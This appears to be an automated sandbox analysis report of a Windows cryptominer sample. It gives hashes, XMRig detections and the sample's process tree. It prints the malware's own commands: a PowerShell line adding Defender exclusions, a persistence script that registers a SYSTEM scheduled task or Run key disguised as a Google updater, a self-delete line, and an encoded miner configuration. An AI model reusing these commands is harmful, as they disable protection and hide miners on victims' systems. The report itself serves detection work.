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230415-lhwzssdf73 10Analysis
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max time kernel
581s -
max time network
1799s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
17-04-2023 18:20
Static task
static1
Behavioral task
behavioral1
Sample
qM5GMXBk6hJE6Y5e.exe
Resource
win7-20230220-en
General
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Target
qM5GMXBk6hJE6Y5e.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
qM5GMXBk6hJE6Y5e.exeupdater.execonhost.exedescription pid process target process PID 1116 created 1252 1116 qM5GMXBk6hJE6Y5e.exe Explorer.EXE PID 1116 created 1252 1116 qM5GMXBk6hJE6Y5e.exe Explorer.EXE PID 1116 created 1252 1116 qM5GMXBk6hJE6Y5e.exe Explorer.EXE PID 1116 created 1252 1116 qM5GMXBk6hJE6Y5e.exe Explorer.EXE PID 1880 created 1252 1880 updater.exe Explorer.EXE PID 1880 created 1252 1880 updater.exe Explorer.EXE PID 1880 created 1252 1880 updater.exe Explorer.EXE PID 1244 created 1252 1244 conhost.exe Explorer.EXE PID 1880 created 1252 1880 updater.exe Explorer.EXE PID 1880 created 1252 1880 updater.exe Explorer.EXE -
XMRig Miner payload 31 IoCs
Processes:
resource yara_rule behavioral1/memory/1424-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-108-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-133-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-135-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-137-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-139-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-141-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-143-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-150-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-152-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-154-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-156-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-158-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-165-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-167-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-169-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-171-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-173-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-175-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1424-177-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 972 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 1880 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 1372 taskeng.exe -
Processes:
resource yara_rule behavioral1/memory/1424-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-108-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-133-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-135-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-137-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-139-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-141-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-143-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-150-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-152-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-154-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-156-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-158-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-165-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-167-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-169-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-171-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-173-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-175-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1424-177-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 1880 set thread context of 1244 1880 updater.exe conhost.exe PID 1880 set thread context of 1424 1880 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
qM5GMXBk6hJE6Y5e.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 507c0d296a71d901 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
qM5GMXBk6hJE6Y5e.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 1116 qM5GMXBk6hJE6Y5e.exe 1116 qM5GMXBk6hJE6Y5e.exe 1700 powershell.exe 1116 qM5GMXBk6hJE6Y5e.exe 1116 qM5GMXBk6hJE6Y5e.exe 1440 powershell.exe 1116 qM5GMXBk6hJE6Y5e.exe 1116 qM5GMXBk6hJE6Y5e.exe 1116 qM5GMXBk6hJE6Y5e.exe 1116 qM5GMXBk6hJE6Y5e.exe 1272 powershell.exe 1880 updater.exe 1880 updater.exe 1384 powershell.exe 1880 updater.exe 1880 updater.exe 1772 powershell.exe 1880 updater.exe 1880 updater.exe 1244 conhost.exe 1244 conhost.exe 1880 updater.exe 1880 updater.exe 1880 updater.exe 1880 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 460 -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 1700 powershell.exe Token: SeDebugPrivilege 1440 powershell.exe Token: SeDebugPrivilege 1272 powershell.exe Token: SeDebugPrivilege 1384 powershell.exe Token: SeDebugPrivilege 1772 powershell.exe Token: SeDebugPrivilege 1880 updater.exe Token: SeAssignPrimaryTokenPrivilege 1596 WMIC.exe Token: SeIncreaseQuotaPrivilege 1596 WMIC.exe Token: SeSecurityPrivilege 1596 WMIC.exe Token: SeTakeOwnershipPrivilege 1596 WMIC.exe Token: SeLoadDriverPrivilege 1596 WMIC.exe Token: SeSystemtimePrivilege 1596 WMIC.exe Token: SeBackupPrivilege 1596 WMIC.exe Token: SeRestorePrivilege 1596 WMIC.exe Token: SeShutdownPrivilege 1596 WMIC.exe Token: SeSystemEnvironmentPrivilege 1596 WMIC.exe Token: SeUndockPrivilege 1596 WMIC.exe Token: SeManageVolumePrivilege 1596 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1596 WMIC.exe Token: SeIncreaseQuotaPrivilege 1596 WMIC.exe Token: SeSecurityPrivilege 1596 WMIC.exe Token: SeTakeOwnershipPrivilege 1596 WMIC.exe Token: SeLoadDriverPrivilege 1596 WMIC.exe Token: SeSystemtimePrivilege 1596 WMIC.exe Token: SeBackupPrivilege 1596 WMIC.exe Token: SeRestorePrivilege 1596 WMIC.exe Token: SeShutdownPrivilege 1596 WMIC.exe Token: SeSystemEnvironmentPrivilege 1596 WMIC.exe Token: SeUndockPrivilege 1596 WMIC.exe Token: SeManageVolumePrivilege 1596 WMIC.exe Token: SeLockMemoryPrivilege 1424 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 1440 wrote to memory of 856 1440 powershell.exe schtasks.exe PID 1440 wrote to memory of 856 1440 powershell.exe schtasks.exe PID 1440 wrote to memory of 856 1440 powershell.exe schtasks.exe PID 972 wrote to memory of 1624 972 cmd.exe choice.exe PID 972 wrote to memory of 1624 972 cmd.exe choice.exe PID 972 wrote to memory of 1624 972 cmd.exe choice.exe PID 1272 wrote to memory of 1080 1272 powershell.exe schtasks.exe PID 1272 wrote to memory of 1080 1272 powershell.exe schtasks.exe PID 1272 wrote to memory of 1080 1272 powershell.exe schtasks.exe PID 1372 wrote to memory of 1880 1372 taskeng.exe updater.exe PID 1372 wrote to memory of 1880 1372 taskeng.exe updater.exe PID 1372 wrote to memory of 1880 1372 taskeng.exe updater.exe PID 1772 wrote to memory of 1956 1772 powershell.exe schtasks.exe PID 1772 wrote to memory of 1956 1772 powershell.exe schtasks.exe PID 1772 wrote to memory of 1956 1772 powershell.exe schtasks.exe PID 1880 wrote to memory of 1244 1880 updater.exe conhost.exe PID 316 wrote to memory of 1596 316 cmd.exe WMIC.exe PID 316 wrote to memory of 1596 316 cmd.exe WMIC.exe PID 316 wrote to memory of 1596 316 cmd.exe WMIC.exe PID 1880 wrote to memory of 1424 1880 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1252
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C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1116 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1700 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1440 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:856 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1272 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:1080
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:972 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1624
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1384 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1772 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:1956 -
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1244 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1172 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:316 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1596 -
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1424
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C:\Windows\system32\taskeng.exetaskeng.exe {73F8ED9B-CB89-4FDB-8FC4-F08C4F685C39} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1372 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1880
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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C:\Program Files\Google\Chrome\updater.exeFilesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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C:\Program Files\Google\Chrome\updater.exeFilesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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C:\Program Files\Google\Libs\g.logFilesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD5c8ca4a2779ba5310e6e710e0a466c033
SHA1b0220b335e04b0f7fc24f7df58c89c9fe3edc054
SHA25668d8922143c12c62b018238b872d5ee98f9311cd17f4fc7349a173ad97ec0d54
SHA5123ae03d802f280a2b4669a3dc3ddc2d13ddffbfa865f09b676572cd791234c0f7d537414f64694db139ea688dfb455437dffa1b17422077e9f14aa7177944f972
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD5c8ca4a2779ba5310e6e710e0a466c033
SHA1b0220b335e04b0f7fc24f7df58c89c9fe3edc054
SHA25668d8922143c12c62b018238b872d5ee98f9311cd17f4fc7349a173ad97ec0d54
SHA5123ae03d802f280a2b4669a3dc3ddc2d13ddffbfa865f09b676572cd791234c0f7d537414f64694db139ea688dfb455437dffa1b17422077e9f14aa7177944f972
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PRBAKBQQ41RWYRI5XM7J.tempFilesize
7KB
MD5c8ca4a2779ba5310e6e710e0a466c033
SHA1b0220b335e04b0f7fc24f7df58c89c9fe3edc054
SHA25668d8922143c12c62b018238b872d5ee98f9311cd17f4fc7349a173ad97ec0d54
SHA5123ae03d802f280a2b4669a3dc3ddc2d13ddffbfa865f09b676572cd791234c0f7d537414f64694db139ea688dfb455437dffa1b17422077e9f14aa7177944f972
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\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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\Program Files\Google\Chrome\updater.exeFilesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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memory/1116-54-0x000000013FFF0000-0x0000000140201000-memory.dmpFilesize
2.1MB
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memory/1116-75-0x000000013FFF0000-0x0000000140201000-memory.dmpFilesize
2.1MB
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memory/1244-116-0x0000000140000000-0x0000000140016000-memory.dmpFilesize
88KB
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memory/1244-107-0x0000000140000000-0x0000000140016000-memory.dmpFilesize
88KB
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memory/1272-83-0x00000000024D0000-0x0000000002550000-memory.dmpFilesize
512KB
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memory/1272-84-0x00000000024D0000-0x0000000002550000-memory.dmpFilesize
512KB
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memory/1272-85-0x00000000024DB000-0x0000000002512000-memory.dmpFilesize
220KB
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memory/1272-82-0x00000000024D0000-0x0000000002550000-memory.dmpFilesize
512KB
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memory/1384-92-0x0000000000E5B000-0x0000000000E92000-memory.dmpFilesize
220KB
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memory/1384-91-0x0000000000E54000-0x0000000000E57000-memory.dmpFilesize
12KB
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memory/1424-106-0x0000000000D40000-0x0000000000D60000-memory.dmpFilesize
128KB
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memory/1424-119-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-177-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-175-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-173-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-171-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-169-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-167-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-165-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-158-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-156-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-154-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-152-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-103-0x0000000000050000-0x0000000000070000-memory.dmpFilesize
128KB
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memory/1424-104-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-150-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-105-0x0000000000B60000-0x0000000000B80000-memory.dmpFilesize
128KB
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memory/1424-143-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-108-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-110-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-111-0x0000000000B60000-0x0000000000B80000-memory.dmpFilesize
128KB
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memory/1424-112-0x0000000000D40000-0x0000000000D60000-memory.dmpFilesize
128KB
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memory/1424-113-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-115-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-141-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-117-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-139-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-121-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-123-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-125-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-127-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-129-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-131-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-133-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-135-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1424-137-0x0000000140000000-0x00000001407F4000-memory.dmpFilesize
8.0MB
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memory/1440-71-0x0000000002350000-0x00000000023D0000-memory.dmpFilesize
512KB
